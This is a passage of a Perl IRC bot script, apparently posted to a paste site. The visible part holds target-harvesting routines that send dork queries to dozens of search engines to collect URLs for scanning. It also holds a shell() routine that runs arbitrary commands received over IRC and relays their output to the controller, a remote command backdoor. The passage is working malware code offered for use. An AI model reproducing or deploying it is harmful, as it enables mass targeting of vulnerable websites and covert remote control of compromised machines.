  695. }
  696.  
  697. sub get_content() {
  698. my $url = $_[0];
  699. my $ua = LWP::UserAgent->new(agent => $uagent);
  700. $ua->timeout(7);
  701. my $req = HTTP::Request->new(GET => $url);
  702. my $res = $ua->request($req);
  703. return $res->content;
  704. }
  705.  
  706. ######################################### SEARCH ENGINE gibla
  707.  
  708. sub google() {
  709. my @list;
  710. my $key = $_[0];
  711. for (my $i=0; $i<=400; $i+=10){
  712. my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
  713. my $res = &search_engine_query($search);
  714. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  715. if ($1 !~ /google/){
  716. my $link = $1;
  717. my @grep = &links($link);
  718. push(@list,@grep);
  719. }
  720. }
  721. }
  722. return @list;
  723. }
  724.  
  725. sub rediff() {
  726. my @list;
  727. my $key = $_[0];
  728. for (my $i=0; $i<=500; $i+=10) {
  729. my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
  730. my $res = &search_engine_query($search);
  731. while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
  732. if ($1 !~ /rediff\.com/){
  733. my $link = $1;
  734. my @grep = &links($link);
  735. push(@list,@grep);
  736. }
  737. }
  738. }
  739. return @list;
  740. }
  741.  
  742. sub uol() {
  743. my @list;
  744. my $key = $_[0];
  745. for (my $i=1; $i<=500; $i+=10) {
  746. my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
  747. my $res = &search_engine_query($search);
  748. while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  749. if ($1 !~ /uol\.com/) {
  750. my $link = $1;
  751. my @grep = &links($link);
  752. push(@list,@grep);
  753. }
  754. }
  755. }
  756. return @list;
  757. }
  758.  
  759. sub bing() {
  760. my @list;
  761. my $key = $_[0];
  762. for (my $i=1; $i<=500; $i+=10) {
  763. my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
  764. my $res = &search_engine_query($search);
  765. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  766. if ($1 !~ /bing\.com/) {
  767. my $link = $1;
  768. my @grep = &links($link);
  769. push(@list,@grep);
  770. }
  771. }
  772. }
  773. return @list;
  774. }
  775.  
  776. sub altavista() {
  777. my @list;
  778. my $key = $_[0];
  779. for (my $i=1; $i<=500; $i+=10){
  780. my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
  781. my $res = &search_engine_query($search);
  782. while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  783. if ($1 !~ /altavista/){
  784. my $link = $1;
  785. $link =~ s/<//g;
  786. $link =~ s/ //g;
  787. my @grep = &links($link);
  788. push(@list,@grep);
  789. }
  790. }
  791. }
  792. return @list;
  793. }
  794.  
  795. sub ask() {
  796. my @list;
  797. my $key = $_[0];
  798. for (my $i=1; $i<=50; $i+=1) {
  799. my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  800. my $res = &search_engine_query($search);
  801. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  802. if ($1 !~ /ask\.com/){
  803. my $link = $1;
  804. my @grep = &links($link);
  805. push(@list,@grep);
  806. }
  807. }
  808. }
  809. return @list;
  810. }
  811.  
  812. sub yahoo(){
  813. my @list;
  814. my $key = $_[0];
  815. my $b = 0;
  816. for ($b=1; $b<=500; $b+=10) {
  817. my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
  818. my $res = &search_engine_query($search);
  819. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  820. if ($1 !~ /yahoo\.com/){
  821. my $link = $1;
  822. my @grep = &links($link);
  823. push(@list,@grep);
  824. }
  825. }
  826. }
  827. return @list;
  828. }
  829.  
  830. sub clusty() {
  831. my @list;
  832. my $key = $_[0];
  833. my $b = 0;
  834. for ($b=10; $b<=500; $b+=10) {
  835. my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  836. my $res = &search_engine_query($search);
  837. while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  838. if ($1 !~ /yippy\.com/){
  839. my $link = $1;
  840. my @grep = &links($link);
  841. push(@list,@grep);
  842. }
  843. }
  844. }
  845. return @list;
  846. }
  847.  
  848. sub gutser() {
  849. my @list;
  850. my $key = $_[0];
  851. for ($b=1; $b<=50; $b+=1) {
  852. my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
  853. my $res = &search_engine_query($search);
  854. while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
  855. if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
  856. my $link = $1;
  857. my @grep = &links($link);
  858. push(@list,@grep);
  859. }
  860. }
  861. }
  862. return @list;
  863. }
  864.  
  865. sub google2() {
  866. my @list;
  867. my $key = $_[0];
  868. my $b = 0;
  869. my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  870. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  871. for ($b=1; $b<=200; $b+=10) {
  872. my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
  873. my $res = &search_engine_query($search);
  874. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  875. if ($1 !~ /google/){
  876. my $link = $1;
  877. my @grep = &links($link);
  878. push(@list,@grep);
  879. }
  880. }
  881. } return @list;
  882. }
  883. }
  884.  
  885. sub exalead() {
  886. my @list;
  887. my $key = $_[0];
  888. for ($b=0; $b<=1000; $b+=100) {
  889. my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
  890. my $res = &search_engine_query($search);
  891. while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
  892. my $link = $1;
  893. if ($link!~ /exalead/){
  894. my @grep = &links($link);
  895. push(@list,@grep);
  896. }
  897. }
  898. }
  899. return @list;
  900. }
  901.  
  902. sub lycos() {
  903. my @list;
  904. my $key = $_[0];
  905. for ($b=0; $b<=50; $b+=1) {
  906. my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
  907. my $res = &search_engine_query($search);
  908. while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
  909. if ($1 !~ /lycos\.com/){
  910. my $link = $1;
  911. my @grep = &links($link);
  912. push(@list,@grep);
  913. }
  914. }
  915. }
  916. return @list;
  917. }
  918.  
  919. sub virgilio() {
  920. my @list;
  921. my $key = $_[0];
  922. for ($b=10; $b<=500; $b+=10) {
  923. my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
  924. my $res = &search_engine_query($search);
  925. while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
  926. if ($1 !~ /\.virgilio\.it/){
  927. my $link = $1;
  928. my @grep = &links($link);
  929. push(@list,@grep);
  930. }
  931. }
  932. }
  933. return @list;
  934. }
  935.  
  936. sub webde() {
  937. my @list;
  938. my $key = $_[0];
  939. for ($b=1; $b<=50; $b+=1) {
  940. my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
  941. my $res = &search_engine_query($search);
  942. while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  943. my $link = $1;
  944. if ($link!~ /suche|web/){
  945. my @grep = &links($link);
  946. push(@list,@grep);
  947. }
  948. }
  949. }
  950. return @list;
  951. }
  952.  
  953. sub hotbot() {
  954. my @list;
  955. my $key = $_[0];
  956. for ($b=0; $b<=50; $b+=1) {
  957. my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  958. my $res = &search_engine_query($search);
  959. while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
  960. if ($1 !~ /hotbot\.com/){
  961. my $link = $1;
  962. my @grep = &links($link);
  963. push(@list,@grep);
  964. }
  965. }
  966. }
  967. return @list;
  968. }
  969.  
  970. sub aol() {
  971. my @list;
  972. my $key = $_[0];
  973. for ($b=2; $b<=50; $b+=1) {
  974. my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
  975. my $res = &search_engine_query($search);
  976. while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
  977. if ($1 !~ /aol\.com/){
  978. my $link = $1;
  979. my @grep = &links($link);
  980. push(@list,@grep);
  981. }
  982. }
  983. }
  984. return @list;
  985. }
  986.  
  987. sub sapo(){
  988. my @list;
  989. my $key = $_[0];
  990. for ($b=1; $b<=50; $b+=1) {
  991. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
  992. my $res = &search_engine_query($search);
  993. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  994. if ($1 !~ /\.sapo\.pt/){
  995. my $link = $1;
  996. my @grep = &links($link);
  997. push(@list,@grep);
  998. }
  999. }
  1000. }
  1001. return @list;
  1002. }
  1003.  
  1004. sub duck() {
  1005. my @list;
  1006. my $key = $_[0];
  1007. my $b = 0;
  1008. for ($b=1; $b<=50; $b+=1) {
  1009. my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
  1010. my $res = &search_engine_query($search);
  1011. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1012. if ($1 !~ /duckduckgo/){
  1013. my $link = $1;
  1014. my @grep = &links($link);
  1015. push(@list,@grep);
  1016. }
  1017. }
  1018. }
  1019. return @list;
  1020. }
  1021.  
  1022. sub lygo() {
  1023. my @list;
  1024. my $key = $_[0];
  1025. my $b = 0;
  1026. for ($b=0; $b<=50; $b+=1) {
  1027. my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  1028. my $res = &search_engine_query($search);
  1029. while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
  1030. if ($1 !~ /hotbot\.com/){
  1031. my $link = $1;
  1032. my @grep = &links($link);
  1033. push(@list,@grep);
  1034. }
  1035. }
  1036. }
  1037. return @list;
  1038. }
  1039.  
  1040. sub yause() {
  1041. my @list;
  1042. my $key = $_[0];
  1043. my $b = 0;
  1044. for ($b=1; $b<=50; $b+=1) {
  1045. my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
  1046. my $res = &search_engine_query($search);
  1047. while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
  1048. if ($1 !~ /yauba\.com/){
  1049. my $link = $1;
  1050. my @grep = &links($link);
  1051. push(@list,@grep);
  1052. }
  1053. }
  1054. }
  1055. return @list;
  1056. }
  1057.  
  1058. sub baidu() {
  1059. my @list;
  1060. my $key = $_[0];
  1061. my $b = 0;
  1062. for ($b=0; $b<=500; $b+=10) {
  1063. my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
  1064. my $res = &search_engine_query($search);
  1065. while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
  1066. if ($1 !~ /baidu\.com/){
  1067. my $link = $1;
  1068. my @grep = &links($link);
  1069. push(@list,@grep);
  1070. }
  1071. }
  1072. }
  1073. return @list;
  1074. }
  1075.  
  1076. sub kipot() {
  1077. my @list;
  1078. my $key = $_[0];
  1079. my $b = 0;
  1080. for ($b=1; $b<=50; $b+=1) {
  1081. my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
  1082. my $res = &search_engine_query($search);
  1083. while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
  1084. if ($1 !~ /qkport\.com/){
  1085. my $link = $1;
  1086. my @grep = &links($link);
  1087. push(@list,@grep);
  1088. }
  1089. }
  1090. }
  1091. return @list;
  1092. }
  1093.  
  1094. sub gibla() { #mati#
  1095. my @list;
  1096. my $key = $_[0];
  1097. my $hal = "/search?q=".&key($key);
  1098. my $search = ("http://www.gigablast.com".$hal);
  1099. my $res = &search_engine_query($search);
  1100. while ($res =~ m/Next 10 Results/) {
  1101. $search = ("http://www.gigablast.com".$hal);
  1102. while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
  1103. my $link = $1;
  1104. if ($link!~ /gigablast/){
  1105. my @grep = &links($link);
  1106. push(@list,@grep);
  1107. }
  1108. }
  1109. if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
  1110. $res = &search_engine_query($search);
  1111. }return @list;
  1112. }
  1113.  
  1114. sub black() {
  1115. my @list;
  1116. my $key = $_[0];
  1117. my $b = 0;
  1118. for ($b=0; $b<=50; $b+=1) {
  1119. my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
  1120. my $res = &search_engine_query($search);
  1121. while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
  1122. if ($1 !~ /blekko/){
  1123. my $link = $1;
  1124. my @grep = &links($link);
  1125. push(@list,@grep);
  1126. }
  1127. }
  1128. }
  1129. return @list;
  1130. }
  1131.  
  1132. sub onet() {
  1133. my @list;
  1134. my $key = $_[0];
  1135. my $b = 0;
  1136. for ($b=1; $b<=50; $b+=1) {
  1137. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
  1138. my $res = &search_engine_query($search);
  1139. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1140. if ($1 !~ /webcache|query/){
  1141. my $link = $1;
  1142. my @grep = &links($link);
  1143. push(@list,@grep);
  1144. }
  1145. }
  1146. }
  1147. return @list;
  1148. }
  1149.  
  1150. sub sizuka() {
  1151. my @list;
  1152. my $key = $_[0];
  1153. my $b = 0;
  1154. for ($b=10; $b<=500; $b+=10) {
  1155. my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
  1156. my $res = &search_engine_query($search);
  1157. while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
  1158. if ($1 !~ /szukacz/){
  1159. my $link = $1;
  1160. my @grep = &links($link);
  1161. push(@list,@grep);
  1162. }
  1163. }
  1164. }
  1165. return @list;
  1166. }
  1167.  
  1168. sub walla() {
  1169. my @list;
  1170. my $key = $_[0];
  1171. my $b = 0;
  1172. for ($b=0; $b<=50; $b+=1) {
  1173. my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
  1174. my $res = &search_engine_query($search);
  1175. while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
  1176. if ($1 !~ /walla\.co\.il/){
  1177. my $link = $1;
  1178. my @grep = &links($link);
  1179. push(@list,@grep);
  1180. }
  1181. }
  1182. }
  1183. return @list;
  1184. }
  1185.  
  1186. sub demos() {
  1187. my @list;
  1188. my $key = $_[0];
  1189. my $b = 0;
  1190. for ($b=0; $b<=500; $b+=10) {
  1191. my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
  1192. my $res = &search_engine_query($search);
  1193. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1194. if ($1 !~ /search|dmoz/){
  1195. my $link = $1;
  1196. my @grep = &links($link);
  1197. push(@list,@grep);
  1198. }
  1199. }
  1200. }
  1201. return @list;
  1202. }
  1203.  
  1204. sub rose() {
  1205. my @list;
  1206. my $key = $_[0];
  1207. my $b = 0;
  1208. my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
  1209. foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
  1210. for ($b=0; $b<=100; $b+=10) {
  1211. my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
  1212. my $res = &search_engine_query($search);
  1213. while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
  1214. if ($1 !~ /euroseek/){
  1215. my $link = $1;
  1216. my @grep = &links($link);
  1217. push(@list,@grep);
  1218. }
  1219. }
  1220. }
  1221. }return @list;
  1222. }
  1223.  
  1224. sub seznam() {
  1225. my @list;
  1226. my $key = $_[0];
  1227. for ($b=1; $b<=500; $b+=10) {
  1228. my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  1229. my $res = &search_engine_query($search);
  1230. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  1231. if ($1 !~ /seznam/){
  1232. my $link = $1;
  1233. my @grep = &links($link);
  1234. push(@list,@grep);
  1235. }
  1236. }
  1237. }
  1238. return @list;
  1239. }
  1240.  
  1241. sub tiscali() {
  1242. my @list;
  1243. my $key = $_[0];
  1244. for ($b=0; $b<=500; $b+=10) {
  1245. my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
  1246. my $res = &search_engine_query($search);
  1247. while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  1248. if ($1 !~ /tiscali/){
  1249. my $link = $1;
  1250. my @grep = &links($link);
  1251. push(@list,@grep);
  1252. }
  1253. }
  1254. }
  1255. return @list;
  1256. }
  1257.  
  1258. sub naver() {
  1259. my @list;
  1260. my $key = $_[0];
  1261. for ($b=1; $b<=500; $b+=10) {
  1262. my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&lang=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
  1263. my $res = &search_engine_query($search);
  1264. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1265. if ($1 !~ /naver/){
  1266. my $link = $1;
  1267. my @grep = &links($link);
  1268. push(@list,@grep);
  1269. }
  1270. }
  1271. }
  1272. return @list;
  1273. }
  1274.  
  1275. sub bypass() {
  1276. my @list;
  1277. my $key = $_[0];
  1278. my $search = ($bypass."?key=".&key($key));
  1279. my $res = search_engine_query($search);
  1280. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  1281. if ($1 !~ /google/){
  1282. my $link = $1;
  1283. my @grep = &links($link);
  1284. push(@list,@grep);
  1285. }
  1286. }
  1287. return @list;
  1288. }
  1289.  
  1290. #########################################
  1291.  
  1292. sub clean() {
  1293. my @cln = ();
  1294. my %visit = ();
  1295. foreach my $element (@_) {
  1296. $element =~ s/\/+/\//g;
  1297. next if $visit{$element}++;
  1298. push @cln, $element;
  1299. }
  1300. return @cln;
  1301. }
  1302.  
  1303. sub key() {
  1304. my $dork = $_[0];
  1305. $dork =~ s/ /\+/g;
  1306. $dork =~ s/:/\%3A/g;
  1307. $dork =~ s/\//\%2F/g;
  1308. $dork =~ s/\?/\%3F/g;
  1309. $dork =~ s/&/\%26/g;
  1310. $dork =~ s/\"/\%22/g;
  1311. $dork =~ s/,/\%2C/g;
  1312. $dork =~ s/\\/\%5C/g;
  1313. $dork =~ s/@/\%40/g;
  1314. $dork =~ s/\[/\%5B/g;
  1315. $dork =~ s/\]/\%5D/g;
  1316. $dork =~ s/\?/\%3F/g;
  1317. $dork =~ s/\=/\%3D/g;
  1318. $dork =~ s/\|/\%7C/g;
  1319. return $dork;
  1320. }
  1321.  
  1322. sub links() {
  1323. my @list;
  1324. my $link = $_[0];
  1325. my $host = $_[0];
  1326. my $hdir = $_[0];
  1327. $hdir =~ s/(.*)\/[^\/]*$/$1/;
  1328. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1329. $host .= "/";
  1330. $link .= "/";
  1331. $hdir .= "/";
  1332. $host =~ s/\/\//\//g;
  1333. $hdir =~ s/\/\//\//g;
  1334. $link =~ s/\/\//\//g;
  1335. push(@list,$link,$host,$hdir);
  1336. return @list;
  1337. }
  1338.  
  1339. sub search_engine_query($) {
  1340. my $url = $_[0];
  1341. $url =~ s/http:\/\///;
  1342. my $host = $url;
  1343. my $query = $url;
  1344. my $page = "";
  1345. $host =~ s/href=\"?http:\/\///;
  1346. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1347. $query =~ s/$host//;
  1348. if ($query eq "") { $query = "/"; }
  1349. eval {
  1350. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1351. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  1352. my @pages = <$sock>;
  1353. $page = "@pages";
  1354. close($sock);
  1355. };
  1356. return $page;
  1357. }
  1358.  
  1359. #########################################
  1360.  
  1361. sub shell() {
  1362. my $path = $_[0];
  1363. my $cmd = $_[1];
  1364. if ($cmd =~ /cd (.*)/) {
  1365. chdir("$1") || &msg("$path","No such file or directory");
  1366. return;
  1367. }
  1368. elsif ($pid = fork) { waitpid($pid, 0); }
  1369. else { if (fork) { exit; } else {
  1370. my @output = `$cmd 2>&1 3>&1`;
  1371. my $c = 0;
  1372. foreach my $output (@output) {
  1373. $c++;
  1374. chop $output;
  1375. &msg("$path","$output");
  1376. if ($c == 5) { $c = 0; sleep 2; }
  1377. }
  1378. exit;
  1379. }}
  1380. }
  1381.  
  1382. sub isAdmin() {
  1383. my $status = 0;
  1384. my $nick = $_[0];
  1385. if ($nick eq $admin) { $status = 1; }
  1386. return $status;
  1387. }
  1388.  
  1389. sub msg() {
  1390. return unless $#_ == 1;
  1391. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  1392. }
  1393.  
  1394. sub nick() {
  1395. return unless $#_ == 0;
  1396. sendraw("NICK $_[0]");
  1397. }
  1398.  
  1399. sub notice() {
  1400. return unless $#_ == 1;
  1401. sendraw("NOTICE $_[0] :$_[1]");
  1402. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement